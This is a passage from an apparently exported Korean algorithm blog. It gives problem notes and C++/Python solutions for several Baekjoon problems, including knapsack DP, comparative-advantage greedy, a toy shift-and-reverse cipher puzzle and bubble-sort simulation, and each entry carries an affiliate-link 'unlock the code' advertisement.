심지어 세제곱도 넘는다 ㅋㅋ 이번에도 BOJ 13448 SW 역량 테스트 문제처럼 좀 그리디하게 생각해보자. 살 소들을 정했다면, $X$가 작은 소들을 먼저 꼬셔서 무니를 할인받는게 이득이다. 잉 이것만해도 세제곱이 보장되는것같다 근데 세제곱이 안돈다 ㅋㅋ 고민해보니, 앞에서는 콘을 열심히 퍼주다가 / 한 친구한테는 섞어서 주다가 / 그뒤부터는 그냥 무니로 사야하는 것 같다 세제곱에서 제곱으로 줄일 수 있겠다! 💻 풀이 코드 (C++): void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; A \u0026gt;\u0026gt; B; vector\u0026lt;Friend\u0026gt; Frd(N); rep(i, 0, N) cin \u0026gt;\u0026gt; Frd[i].P \u0026gt;\u0026gt; Frd[i].C \u0026gt;\u0026gt; Frd[i].X; sort(all(Frd), [](Friend \u0026amp;A, Friend \u0026amp;B){ return A.X \u0026lt; B.X; }); rep(i, 0, N){ auto [P, C, X] = Frd[i]; rrep(j, 0, B+1){ DPprf[i+1][j] = max(DPprf[i+1][j], DPprf[i][j]); if(j - X*C \u0026lt; 0) continue; DPprf[i+1][j] = max(DPprf[i+1][j], DPprf[i][j - X*C] + P); } } rrep(i, 0, N){ auto [P, C, X] = Frd[i]; rrep(j, 0, A+1){ DPsuf[i][j] = max(DPsuf[i][j], DPsuf[i+1][j]); if(j - C \u0026lt; 0) continue; DPsuf[i][j] = max(DPsuf[i][j], DPsuf[i+1][j-C] + P); } } int ans = max(DPprf[N][B], DPsuf[0][A]); rep(i, 0, N){ auto [P, C, X] = Frd[i]; rep(j, 0, B+1){ int mxDiscount = min(C, j / X); int moonie = A - (C - mxDiscount), cones = B - j; if(moonie \u0026lt; 0 || cones \u0026lt; 0) continue; ans = max(ans, P + DPprf[i][cones] + DPsuf[i+1][moonie]); } } cout \u0026lt;\u0026lt; ans; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-08T00:00:00Z","permalink":"/posts/algorithm/ps/260208_algorithm_boj-26969-bribing-friends/","title":"BOJ 26969 Bribing Friends"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/31760 번역 문제 Apolyanka와 Büdelsdorf는 최근 접촉하게 된 두 개의 작은 신석기 시대 마을입니다. $1$부터 $N$까지 번호가 매겨진 $N$개의 자원이 있으며, 각 마을은 서로 다른 효율성을 가지고 이들 자원을 독립적으로 생산할 수 있습니다. 자원 $i$를 한 단위 생산하기 위해, Apolyanka는 $A_i$ 인시(person-hours)가 필요하고, Büdelsdorf는 $B_i$ 인시가 필요합니다. 현재 Apolyanka는 주어진 각 시간 기간에 자원 $i$를 $U_i$ 단위 생산하고 있으며, Büdelsdorf는 $W_i$ 단위를 생산하고 있습니다.\n각 마을은 현재 최대 용량으로 작업하고 있습니다. 즉, 현재 사용하고 있는 것보다 더 많은 인시를 투입할 방법이 없습니다. 하지만 최근 발견된 무역의 이점을 통해, 두 마을 모두 필요한 모든 자원을 생산하면서도 총 작업 인시를 줄일 수 있으며, 따라서 절약된 인시를 휴식과 게임을 하는 데 사용할 수 있습니다. 필요한 것은 마을들이 협력하고, 작업을 조정하며, 자원을 교환하는 것뿐입니다.\n예를 들어, $N = 2$이고, 자원 $1$은 나무, 자원 $2$는 식량이며, $A_1 = 1$, $U_1 = 2$, $B_1 = 4$, $W_1 = 1$, $A_2 = 2$, $U_2 = 1$, $B_2 = 3$, $W_2 = 4$라고 가정합시다. 그러면 Apolyanka는 $4$ 인시의 작업을 하고 있습니다: $U_1 = 2$ 단위의 나무를 생산하는 데 $A_1 \\cdot U_1 = 2$, $U_2 = 1$ 단위의 식량을 생산하는 데 $A_2 \\cdot U_2 = 2$입니다. 유사하게, Büdelsdorf는 $16$ 인시의 작업을 하고 있습니다: $W_1 = 1$ 단위의 나무를 생산하는 데 $B_1 \\cdot W_1 = 4$, $W_2 = 4$ 단위의 식량을 생산하는 데 $B_2 \\cdot W_2 = 12$입니다. 따라서 총 생산량은 $U_1 + W_1 = 3$ 단위의 나무와 $U_2 + W_2 = 5$ 단위의 식량이며, $4 + 16 = 20$ 인시가 필요합니다.\n하지만 더 나은 조직이 가능합니다: Apolyanka가 $3$ 단위의 나무와 $0.5$ 단위의 식량을 생산하고, Büdelsdorf가 나무는 생산하지 않고 $4.5$ 단위의 식량을 생산할 수 있습니다. 각 자원의 총 생산량은 동일하지만, $3A_1+0.5A_2+0B_1+4.5B_2 = 3 + 1 + 13.5 = 17.5$ 인시만 필요합니다.\n$N = 3$인 또 다른 예는 $A_1 = 1$, $B_1 = 2$, $A_2 = 2$, $B_2 = 1$, $A_3 = 1$, $B_3 = 1$이고, $i = 1, 2, 3$에 대해 $U_i = W_i = 1$입니다. 이 경우 각 마을은 현재 $4$ 인시를 작업하고 있습니다. 하지만 약간의 재조직을 통해 정확히 동일한 총 자원을 생산하면서 각각 $3$ 인시만 작업할 수 있습니다! 필요한 것은 Apolyanka가 자원 $2$를 한 단위 덜 생산하고 자원 $1$을 한 단위 더 생산하며, Büdelsdorf가 그 반대로 하는 것뿐입니다.\n이러한 모든 값이 주어졌을 때, 정확히 동일한 총 자원을 생산하기 위해 마을들이 작업해야 하는 최소 총 인시는 얼마입니까? 자원 생산에 투자되는 인시는 정수일 필요가 없습니다.\n입력 첫 번째 줄에는 자원의 개수를 나타내는 정수 $N$ ($1 \\leq N \\leq 10^5$)이 주어집니다. 각 자원은 $1$부터 $N$까지의 서로 다른 정수로 식별됩니다.\n다음 $N$개의 줄 중 $i$번째 줄은 자원 $i$를 네 개의 정수 $A_i$, $U_i$, $B_i$, $W_i$ ($i = 1, 2, \\dots, N$에 대해 $1 \\leq A_i, U_i, B_i, W_i \\leq 1000$)로 설명합니다.\n출력 자원을 생산하는 데 필요한 최소 총 인시를 한 줄로 출력합니다. 출력은 최대 $10^{-9}$의 절대 오차 또는 상대 오차를 가져야 합니다.\n🧐 관찰 및 접근 아니 이거 비교우위 내용 아님? 그럼 A국이나 B국이나 우위에있는놈이 일단 일을 다시키고.. 최대 일 양을 넘길 수 있으니 그쪽으로 보자 같은경우는? 신경안써도 되는듯 누가해도 되니까 그담에? 그리디하게 비교우위인 비율대로 해서 뭐 이케저케 하면 될듯? 아니 진짜 걍 되는데 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; ll A_budget = 0, B_budget = 0; vector\u0026lt;Resource\u0026gt; resources(N); rep(i, 0, N){ ll A, U, B, W; cin \u0026gt;\u0026gt; A \u0026gt;\u0026gt; U \u0026gt;\u0026gt; B \u0026gt;\u0026gt; W; resources[i] = {A, B, (ld)U+(ld)W}; A_budget += A * U; B_budget += B * W; } ld A_todo = 0, B_todo = 0; for(auto [A, B, amount]: resources){ if(A \u0026lt; B) A_todo += A * amount; else if(B \u0026lt; A) B_todo += B * amount; } // A가 일을 풀로 하는 나라 if(B_budget \u0026lt; B_todo){ swap(A_budget, B_budget); for(auto \u0026amp;res: resources){ swap(res.A_cost, res.B_cost); } swap(A_todo, B_todo); } sort(all(resources), [](const Resource \u0026amp;r1, const Resource \u0026amp;r2){ return r1.B_cost * r2.A_cost \u0026gt; r2.B_cost * r1.A_cost; }); ld ans = 0; ld A_used = 0, B_used = 0; for(auto [A, B, amount]: resources){ if(A \u0026lt;= B){ ld can_use = min((ld)amount * A, (ld)(A_budget - A_used)); A_used += can_use; ans += (ld)can_use; amount -= (ld)can_use / A; } ld B_use = min((ld)amount * B, (ld)(B_budget - B_used)); B_used += (ld)B_use; ans += (ld)B_use; } cout \u0026lt;\u0026lt; fixed \u0026lt;\u0026lt; setprecision(15) \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-08T00:00:00Z","permalink":"/posts/algorithm/ps/260208_algorithm_boj-31760-joys-of-trading/","title":"BOJ 31760 Joys of Trading"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/30208 🧐 관찰 및 접근 업무들의 순서때문에, 자유롭게 선택하지 못하는 경우들이 생긴다. 이게 어떤 느낌이지? 예제 입력 1의 순서는 다음과 같다. $1 \\rightarrow 2 \\rightarrow 3$을 보자. $1$까지 수행해서 중요도 $w_1$, 처리시간 $t_1$을 얻을 수 있다. $2$까지 수행해서 중요도 $w_1 + w_2$, 처리시간 $t_1 + t_2$를 얻을 수 있다. $3$까지 수행해서 $\\cdots$ 저렇게 물건을 만들고 나면, 세개중에서 택1을 하는것 빼고는 배낭문제와 동일해진다. 트리 dfs로 냅색을 잘 돌면서 DP를 할 수 있을 것 같다. 근데 안에서 분기가 일어나면\u0026hellip; 0이 아닌 모든 $p_i$들은 모두 다르다 라는 문장이 입력에 있다. 💻 풀이 코드 (C++): void dfs(int cur, int root, int w, int t){ w += W[cur]; t += T[cur]; bags[root].push_back({w, t}); for(auto nxt: links[cur]) dfs(nxt, root, w, t); } void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; S; rep(i, 1, N+1) cin \u0026gt;\u0026gt; W[i]; rep(i, 1, N+1) cin \u0026gt;\u0026gt; T[i]; rep(i, 1, N+1){ int p; cin \u0026gt;\u0026gt; p; links[p].push_back(i); } for(auto nxt: links[0]) dfs(nxt, nxt, 0, 0); rep(i, 0, N+2) rep(j, 0, S+1) KS[i][j] = 1e9; KS[0][0] = 0; rep(i, 0, N+1) rep(j, 0, S+1) { KS[i+1][j] = min(KS[i+1][j], KS[i][j]); for(auto [w, t]: bags[i]){ int nxt = min(S, j + w); // } KS[i+1][nxt] = min(KS[i+1][nxt], KS[i][j] + t); } } if(KS[N+1][S] == 1e9) cout \u0026lt;\u0026lt; -1; else cout \u0026lt;\u0026lt; KS[N+1][S]; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-07T00:00:00Z","permalink":"/posts/algorithm/ps/260207_algorithm_boj-30208-%ED%9C%B4%EA%B0%80-%EB%82%98%EA%B0%80%EA%B8%B0/","title":"BOJ 30208 휴가 나가기"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/30788 🧐 관찰 및 접근 대칭이동을 어떻게 수학적으로 표현할 수 있을까?? 쉬운거부터 해보자. 원래 점이 $(x, y)$에 있었다면 $90\\degree$ 직선에 대칭시키면 $(-x, y)$ $45\\degree$ 직선에 대칭시키면 $(y, x)$ $60\\degree$ 직선에 대칭시키면 $y = \\sqrt{3}x$에 대칭인거니까\u0026hellip; 아니 이거 너무 까다로운데? 행렬연산은 하기 싫은데.. 각도를 기준으로 생각해보는것도 좋겠다. 극좌표계처럼, 원래 점이 $0\\degree$에 있었다면 $60\\degree$에 대해 대칭시키면 $120\\degree$에 $120\\degree$에 대해 대칭시키면 $240\\degree$에 이런 느낌인 것 같다. 그렇다면 예제 1번은 $0\\degree \\rightarrow 120\\degree \\rightarrow 330 \\degree \\rightarrow 60 \\degree \\rightarrow 0$ 인거 같다! $45\\degree = 225\\degree$라고 생각하고, 가까운 곳을 찾아서 두배로 넘기고, 360으로 모듈러를 취하자. 자, 이제 한번씩 써서 0도로 돌아오는걸 어떻게 만들지? $15\\degree$로 만들 수 있는건 $30\\degree$ $x\\degree$를 $a$에 대칭이동시키면 $(2a - x) \\degree$가 되는 것 같다! 이걸 또 $b$에 대칭이동시키면 $(2b - (2a - x))\\degree$ 인거같고.. 그러면 플마로 바뀌어가면서 더해지니까 결국 모듈러 360에 대해 두 그룹으로 나눈 합을 일정하게 맞출 수 있는지에 대한 문제로 바뀐다. 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;int\u0026gt; A(N); rep(i, 0, N) cin \u0026gt;\u0026gt; A[i]; if(N%2){ cout \u0026lt;\u0026lt; \u0026#34;NO\u0026#34;; return; } int sum = 0; for(auto x: A) sum += x; sum %= 360; DP[0][0][0] = true; rep(i, 0, N) rrep(j, 0, N) rep(k, 0, 360) if(DP[i][j][k]){ int nxt = (k + A[i]*2) % 360; DP[i+1][j+1][nxt] = true; DP[i+1][j][k] = true; } if(DP[N][N/2][sum] || DP[N][N/2][(sum + 180) % 360]){ cout \u0026lt;\u0026lt; \u0026#34;YES\\n\u0026#34;; vector\u0026lt;bool\u0026gt; used(N); int ci = N, cj = N/2, cs = sum; if(!DP[N][N/2][sum]) cs = (sum + 180) % 360; while(cj){ int prv = (cs - A[ci-1]*2) % 360; if(prv \u0026lt; 0) prv += 360; if(DP[ci-1][cj - 1][prv]){ used[ci-1] = true; ci--; cj--; cs = prv; } else ci--; } vector\u0026lt;int\u0026gt; v1, v2; rep(i, 0, N){ if(used[i]) v1.push_back(i+1); else v2.push_back(i+1); } rep(i, 0, N/2){ cout \u0026lt;\u0026lt; v1[i] \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; v2[i] \u0026lt;\u0026lt; \u0026#39; \u0026#39;; } } else cout \u0026lt;\u0026lt; \u0026#34;NO\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-07T00:00:00Z","permalink":"/posts/algorithm/ps/260207_algorithm_boj-30788-sakura-reflection/","title":"BOJ 30788 Sakura Reflection"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/31265 🧐 관찰 및 접근 이해가 조금 어려운데, 결국 $N$개의 훈련 상황에서 $d$개의 훈련 가운데 하나를 계속 고르고, 훈련 시간의 합을 최대화 하고싶다. 배낭 문제와 비슷해보인다. $d$개의 선택지가 $N$번 주어지고, 훈련시간 = 무게의 합을 최대화 해야한다. 어? 나이브하게 하면 터지나? 각 단계마다 해야하는 연산량은 $M * d_i$이다. 총 연산량은 $\\sum\\limits_{i = 1}^N M * d_i \\leq 1000 M$ 이니 괜찮을 것 같다. 아니!!!!!!!! 왜틀렸나 했네 각 훈련 상황에서 적어도 하나의 훈련을 골라 훈련 계획에 넣으려고 한다. 한 훈련을 여러번 쓰지 않게 $M$에 대해 역순으로 돌면서, 잘 처리하자. 💻 풀이 코드 (C++): void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; rep(i, 0, N){ cin \u0026gt;\u0026gt; D[i]; tv[i].resize(D[i]); } rep(i, 0, N) rep(j, 0, D[i]) cin \u0026gt;\u0026gt; tv[i][j]; knapsack[0][0] = true; rep(i, 1, N+1) for(auto t: tv[i-1]) rrep(j, 0, M+1) if(j - t \u0026gt;= 0 \u0026amp;\u0026amp; (knapsack[i-1][j-t] || knapsack[i][j-t])) knapsack[i][j] = true; rrep(j, 0, M+1) if(knapsack[N][j]){ cout \u0026lt;\u0026lt; j; return; } cout \u0026lt;\u0026lt; -1; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-07T00:00:00Z","permalink":"/posts/algorithm/ps/260207_algorithm_boj-31265-%ED%9B%88%EB%A0%A8/","title":"BOJ 31265 훈련"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/16225 🧐 관찰 및 접근 약간 게임이론적이네. $(A_i, B_i), (A_j, B_j)$ 두가지를 고른다. 이때, $B_i \u003e B_j$라면 $A_j$, $B_i \u003c B_j$라면 $A_i$를 얻게된다. 직관적인것들을 생각해보자. $A_i$가 크고, $B_i$가 작은것들이 있으면 좋겠다. 위 친구들을 $A_i$가 작거, $B_i$가 큰 친구들이랑 매칭시켜서 없애버리면 좋다. $B$가 가장 작은 문제는 언제나 내가 풀게 된다. $B$가 가장 큰 문제는 언제나 상대가 풀게 된다. 이쪽에서 출발해볼까? $B$에 대한 오름차순으로 정렬해보자. 그러면 버릴 문제를 하나 고를 수 있다. 일단 예제를 $B$에 대한 오름차순으로 정렬한 후, $A$만 남기면 $(2, 4, 8, 6)$ 이 된다. 이때 2를 택하고 4를 버려고, 8을 택하고 6을 버리면 10이 된다. 여러개로 생각해보니, 약간 올바른 괄호 문자열 맛으로 되는데\u0026hellip; 20만 $O(N^3)$ DP는 안된다이 $\\text{DP}[i][j]$: $i$번째까지 봤을때, 여는괄호가 $j$개일때 최댓값 이라고 하면 $O(N^2)$도 된다만\u0026hellip; 근데 열리는 괄호는, 생각보다 빠르게 열어줘야한다. 1번을 먹었으니, $(2, 3)$중에 하나는 무조건 열어야 한다. $2$를 먹었다면, $3, 4, 5$중 하나는 무조건 열어야 한다. $3$을 먹었다면, $2, 4, 5$중 하나는 무조건 먹어야 한다. $k$개 먹었다면, $2 \\leq i \\leq 2*k + 1$ 범위 내에서 한개를 더 먹어줘야한다. 이때 최댓값을 먹어줘야하고, 점 업데이트가 있으니 세그먼트 트리로 되겠다. 세그워킹 ㄱ.ㄱ 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;pii\u0026gt; A(N); rep(i, 0, N) cin \u0026gt;\u0026gt; A[i].first; rep(i, 0, N) cin \u0026gt;\u0026gt; A[i].second; sort(all(A), [](pii a, pii b){ return a.second \u0026lt; b.second; }); vector\u0026lt;ll\u0026gt; v; rep(i, 0, N) v.push_back(A[i].first); ST.init(N); rep(i, 0, N) ST.set(i, v[i]); ST.build(); ll ans = v[0]; rep(i, 1, N/2){ auto [val, idx] = ST.seg_walk(1, i*2); ans += val; ST.update(idx, 0); } cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-06T00:00:00Z","permalink":"/posts/algorithm/ps/260206_algorithm_boj-16225-%EC%A0%9C271%ED%9A%8C-%EC%9B%B0%EB%85%B8%EC%9A%B4%EC%BB%B5/","title":"BOJ 16225 제271회 웰노운컵"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/7008 번역 문제 Alice Catherine Morris와 그녀의 여동생 Irene Barbara는 자주 이메일을 주고받습니다. 항상 도청을 경계하며 통신 내용을 비밀로 유지하고자, 그들은 메시지를 두 단계로 암호화합니다. 모든 비알파벳 문자를 제거하고 모든 문자를 대문자로 변환한 후:\n각 문자를 알파벳에서 s 위치 뒤의 문자로 치환합니다 (1 \u0026lt;= s \u0026lt;= 25) - 이를 s만큼의 시프트라고 합니다. 단계 1의 결과를 m개의 문자로 된 그룹으로 나누고 각 그룹의 문자들을 역순으로 배열합니다 (5 \u0026lt;= m \u0026lt;= 20). 메시지의 길이가 m으로 나누어떨어지지 않으면, 마지막 k개(m보다 작은)의 문자들을 역순으로 배열합니다. 예를 들어, s = 2이고 m = 6이라고 가정합시다. 평문이 \u0026ldquo;Meet me in St. Louis, Louis.\u0026ldquo;라면, 불필요한 문자를 제거하고 대문자로 변경하면:\nMEETMEINSTLOUISLOUIS 이것을 수정된 평문이라고 부릅니다. 그런 다음 각 문자를 2만큼 시프트합니다(여기서 Y는 A로, Z는 B로 치환됨):\nOGGVOGKPUVNQWKUNQWKU 마지막으로 6개 문자로 된 각 그룹을 역순으로 배열합니다:\nGOVGGOQNVUPKWQNUKWUK 마지막 두 문자가 마지막 역순 그룹을 구성했음에 주목하세요. 관례대로, 결과를 5개 문자 단위로 작성합니다. 따라서 암호문은:\nGOVGG OQNVU PKWQN UKWUK 아쉽게도, 암호문이 도청되었을 때 s와 m의 값을 찾는 것은 그리 어렵지 않습니다. 사실 수정된 평문에 있는 단어인 크립(crib)을 알고 있다면 훨씬 더 쉽습니다. 위의 예에서 LOUIS가 크립이 됩니다. 여기서 여러분의 임무는 암호문과 크립이 주어졌을 때 s와 m을 찾는 것입니다.\n입력 입력은 여러 문제 인스턴스로 구성됩니다. 입력의 첫 번째 줄에는 문제 인스턴스의 개수를 나타내는 양의 정수가 포함됩니다. 각 문제의 입력은 여러 줄로 구성됩니다. 문제의 첫 번째 입력 줄에는 암호문의 문자 개수와 같은 정수 n (20 \u0026lt;= n \u0026lt;= 500)이 포함됩니다. 다음 줄들에는 암호문이 포함되며, 모두 대문자로 5개 문자 단위로 묶여 하나의 공백으로 구분됩니다. (마지막 문자 그룹은 5개 미만의 문자를 포함할 수 있습니다.) 한 줄에 10개의 문자 그룹이 있으며, 마지막 암호문 줄만 예외일 수 있습니다. 암호문의 마지막 줄 다음 입력 줄에는 크립이 포함됩니다; 4개에서 10개(포함) 사이의 대문자로 구성된 단일 단어입니다.\n출력 한 줄에 두 개의 정수 s와 m을 하나의 공백으로 구분하여 출력합니다. 이는 크립을 생성하는 암호화 키를 나타내며, s는 시프트이고 m은 역순 그룹 크기입니다. 해가 여러 개 있으면 가장 작은 s를 가진 것을 출력합니다. 같은 s를 가진 것이 여러 개 있으면 가장 작은 m을 가진 것을 출력합니다. 그러한 s와 m이 존재하지 않으면 \u0026ldquo;Crib is not encrypted.\u0026ldquo;라는 메시지를 출력합니다.\n🧐 관찰 및 접근 주어진 문장에서 (문제에서는 알파벳만 5개 단위로 쪼개져서 들어오긴 하지만) 비알파벳 문자를 모두 없애고, $s$만큼의 쉬프트와 $m$만큼의 뒤집기 연산을 수행해서 암호화하자. 이때, 문자열의 길이는 최대 $500$이고, 연산은 $O(N)$이 걸린다. $s \\leq 25$이고, $m \\leq N$일 것이다. ($N+1$개 이상 뒤집는건 $N$개 뒤집는것과 같다.) 따라서 브루트포스로 시간복잡도 $O(N^2s)$ 정도에 수행 가능해보인다. 💻 풀이 코드 (python): import sys input = sys.stdin.readline TC = int(input()) def unCrypt(sentence, s, m): \u0026#34;\u0026#34;\u0026#34; 문제의 조건에 따라 생성된 암호문을 복호화하는 함수 s: 암호의 시프트 값 m: 블록 크기 \u0026#34;\u0026#34;\u0026#34; # 시프트 복원 shifted = \u0026#34;\u0026#34; for c in sentence: idx = ord(c) - ord(\u0026#39;A\u0026#39;) idx = (idx - s + 26) % 26 # 밀어서 암호화했으니 당겨서 복호화 shifted += chr(idx + ord(\u0026#39;A\u0026#39;)) result = \u0026#34;\u0026#34; # 블록 단위 역순 복원 start_idx = 0 while start_idx \u0026lt; len(shifted): tmp = [] for i in range(m): if start_idx + i \u0026lt; len(shifted): # 마지막 블록 조심 tmp.append(shifted[start_idx + i]) result += \u0026#39;\u0026#39;.join(tmp[::-1]) # 배열을 뒤집어서 join으로 합침 start_idx += m return result for _ in range(TC): N = int(input()) sentence = \u0026#34;\u0026#34; for _ in range((N-1)//50 + 1): # 한줄에 최대 50글자 line = input().rstrip() line = line.replace(\u0026#34; \u0026#34;, \u0026#34;\u0026#34;) sentence += line crip = input().rstrip() flag = False for s in range(1, 26): # 1 \u0026lt;= s \u0026lt;= 25 for m in range(5, 21):# 5 \u0026lt;= m \u0026lt;= 20 if flag: # 이미 찾았으면 종료 break if unCrypt(sentence, s, m).find(crip) != -1: # 복호화한 문장에 crib이 포함되어 있는지 확인 print(s, m) flag = True if not flag: print(\u0026#34;Crib is not encrypted.\u0026#34;) 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-06T00:00:00Z","permalink":"/posts/algorithm/ps/260206_algorithm_boj-7008-double-trouble/","title":"BOJ 7008 Double Trouble"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/11920 🧐 관찰 및 접근 배열 $[3, 4, 1, 2, 7, 6]$이 있다고 하자. 처음 한바퀴를 돌면 어떻게 되지? $[3, 1, 2, 4, 6, 7]$이 된다. 이걸 어떻게 해석할 수 있을까? 가장 큰 수는 맨 오른쪽에 고정된다. 다른 수들은, 오른쪽에 붙어있수가 자기보다 작은것들을 왼쪽으로 다 밀고, 오른쪽으로 간다. 오큰수? 스택? 그런맛인데 이거 두번하면 어떻게? $[1, 2, 3, 4, 6, 7]$이 된다. 나 5 안썼었구나 ㅋㅋ 이런 값을 두개정도 들고있다가..? 뭔가 그런느낌\u0026hellip;? $K$번 진행한다고 하면, 값을 $K$개정도 들고있다가, 들고있는 값중 젤 작은거보다 작으면 그대로 통과시키고, 그것보다 크다면? 어떻게 되는거지? $[5, 7, 4, 3, 6, 8, 1, 2]$를 해보자. $[5, 4, 3, 6, 7, 1, 2, 8]$ $[4, 3, 5, 6, 1, 2, 7, 8]$ 두개 들고있다가 큰거 만나면 작은값 빼버려서 튀면 되는듯?? 💻 풀이 코드 (C++): void solve(){ int N, K; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; K; vector\u0026lt;int\u0026gt; A(N); rep(i, 0, N) cin \u0026gt;\u0026gt; A[i]; vector\u0026lt;int\u0026gt; ans; priority_queue\u0026lt;int, vector\u0026lt;int\u0026gt;, greater\u0026lt;int\u0026gt;\u0026gt; PQ; rep(i, 0, N){ PQ.push(A[i]); if(PQ.size() \u0026gt; K){ ans.push_back(PQ.top()); PQ.pop(); } } while(!PQ.empty()){ ans.push_back(PQ.top()); PQ.pop(); } for(auto x: ans) cout \u0026lt;\u0026lt; x \u0026lt;\u0026lt; \u0026#34; \u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-05T00:00:00Z","permalink":"/posts/algorithm/ps/260205_algorithm_boj-11920-%EB%B2%84%EB%B8%94-%EC%A0%95%EB%A0%AC/","title":"BOJ 11920 버블 정렬"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/28433 🧐 관찰 및 접근 수열을 원하는 개수의 연속된 구간으로 나누어서 구간의 합이 양수인 개수 - 구간의 합이 음수인 개수를 양수로 만들자. 직관적으로 생각해보자. 지금까지의 합이 양수면 -\u0026gt; 걍 잘라버리는게 이득이다. 지금까지의 합이 음수면 -\u0026gt; 이게 좀 고민이네 다음 놈이 음수면 -\u0026gt; 계속 먹으면 되는데, -100 -100 -100 1 -100 같은 경우에는 한번에 큰덩이로 먹는게 이득일수도 있지 않나? 일단 양수/음수는 묶어서 생각할 수 있을거같고, 음수 친구를 왼쪽/오른쪽으로 보내서 양수 덩어리에 합류시킬지 말지만 고민하면 되는것같다. 그렇다면 양수 / 양수 / 음수 / 양수 / 음수 / 양수 이렇게 생겼을텐데, 이제는 음수인 것이 두개 이상 붙어서 등장하지 않는다. 양수 개수 \u0026gt; 음수 개수라면 1을 출력하면 된다! 양수 개수 = 음수 개수라면 한 칸이 결합 가능한지 생각하면 된다! 양수 개수 \u0026lt; 음수 개수라면 두 칸이 결합 가능한지 생각하면 된다! 이게 두번 확인해야해서 문제지만, 결합 가능하면 무조건 결합한다는 방식이 그리디하게 가능하다. 직관적이긴 하네 라고!!!!!!!! 생각했지만!!!!!!!!! 틀렸다. $[2, -1, -1, 2, -1, -1]$ 의 경우.. $(2, -1), (-1, 2), (-1, -1)$로 묶으면 된다. 그러니까 맘대로 묶으면 안된다는건데\u0026hellip;. 그리디 문제 추천받아서 풀던거라 여기서 DP로 틀진 않았고, 솔직히 평소같았으면 세그DP로 튀었을듯 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;ll\u0026gt; v; ll sum = 0; rep(i, 0, N){ ll x; cin \u0026gt;\u0026gt; x; if(x != 0) v.push_back(x); sum += x; } if(v.size() == 0){ cout \u0026lt;\u0026lt; \u0026#34;NO\\n\u0026#34;; return; } ll cur = 0; int pcnt = 0, ncnt = 0; for(auto x: v){ if(x \u0026gt; 0){ if(cur \u0026lt;= 0 \u0026amp;\u0026amp; cur +x \u0026gt; 0) cur += x; else{ if(cur \u0026gt; 0) pcnt++; if(cur \u0026lt; 0) ncnt++; cur = x; } } else{ if(cur \u0026gt; 0 \u0026amp;\u0026amp; cur + x \u0026lt;= 0){ if(cur \u0026gt; 0) pcnt++; if(cur \u0026lt; 0) ncnt++; cur = x; } else{ cur += x; } } // cout \u0026lt;\u0026lt; \u0026#34;cur: \u0026#34; \u0026lt;\u0026lt; cur \u0026lt;\u0026lt; \u0026#34; pcnt: \u0026#34; \u0026lt;\u0026lt; pcnt \u0026lt;\u0026lt; \u0026#34; ncnt: \u0026#34; \u0026lt;\u0026lt; ncnt \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } if(cur \u0026gt; 0) pcnt++; if(cur \u0026lt; 0) ncnt++; cout \u0026lt;\u0026lt; (pcnt \u0026gt; ncnt ? \u0026#34;YES\u0026#34; : \u0026#34;NO\u0026#34;) \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 